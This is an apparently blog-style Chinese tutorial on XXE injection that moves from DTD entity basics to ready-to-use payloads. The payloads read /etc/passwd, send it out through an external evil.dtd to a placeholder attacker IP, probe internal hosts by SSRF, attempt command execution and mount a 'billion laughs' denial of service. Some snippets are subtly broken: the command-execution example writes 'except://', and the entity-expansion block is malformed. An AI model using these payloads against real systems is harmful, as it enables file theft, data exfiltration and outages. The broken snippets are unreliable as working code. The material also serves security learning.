1.XML文档

  • XML文档结构包括XML声明、DTD:文档类型定义(可选)、文档元素

  • XML文档可以引用外部文档中的DTD

2.XML文档中的DTD实体

类似于在DTD中定义变量,方便引用

分为一般实体参数实体,而每种实体类型内还存在内部实体外部实体两种类型

一般实体

&符号引用DTD中定义的一般实体

  • 内部实体
1
2
3
4
5
<!DOCTYPE test [
<!ENTITY a "YTM">
<!ENTITY b "666">
]>
<test>&a;&b;</test>

解析后结果为YTM666

  • 外部实体

DTD中定义时加上SYSTEM作为引用外部实体的标志

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY a SYSTEM "http://yantm666.github.io/password">
]>
<author>&a;</author>

解析后结果为http://yantm666.github.io/password内的文本内容

参数实体

参数实体只能在DTD中使用,所以一般会结合一般实体以及外部DTD

%符号定义和引用参数实体

可以用来使一个实体给另一个实体赋值

在无回显XXE中详细介绍

3.漏洞利用

有回显

在XML文档解析处构造利用(修改相应部分的外部实体)

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY a SYSTEM "file:///etc/passwd">
]>
<x>&a;</x>

服务器解析后回显,可以读取etc/passwd文件内容

无回显

1
2
3
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://攻击机IP/evil.dtd">
<data>&send;</data>

其中evil.dtd内容如下:

1
2
3
<!ENTITY % passwd SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://攻击机IP/?%passwd;'>">
%wrapper

服务器解析后,会以GET方式向攻击机发送etc/passwd文件内容的请求(因为有问号)

接下来只需要在攻击机上监听相应端口就可读取文件内容

绕过

过滤了<!ENTITY,绕过:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE svg SYSTEM "http://攻击机IP/evil.dtd">
<root>
<user>&xxe;</user>
</root>

命令执行

php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装

1
2
3
4
5
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>

内网探测/SSRF

由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://192.168.0.100:80">]>
<root>
<name>&xxe;</name>
</root>

DDoS攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml  version = "1.0" ?> 
<!DOCTYPE LOLZ [
<!ENTITY LOL ">
<!ELEMENT LOLZ (#PCDATA)>
<!ENTITY lol1 " > "LOL" >
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;" >
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;" >
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;" >
<!ENTITY lol4 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;" >
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;" >
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;" >
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;" >
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;" >
]>
<lolz > &lol9; </ lolz >

绕过解析错误

XML无法解析含<>的内容(无法与标签区分),所以需要用CDATA标签处理

且根据语法限制需要利用参数实体拼接字符,例如读取etc/fstab文件内容(含有类似标签的注释内容):

1
2
3
4
5
<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % wrapper "<!ENTITY all '%start;%file;%end;'>">
%wrapper;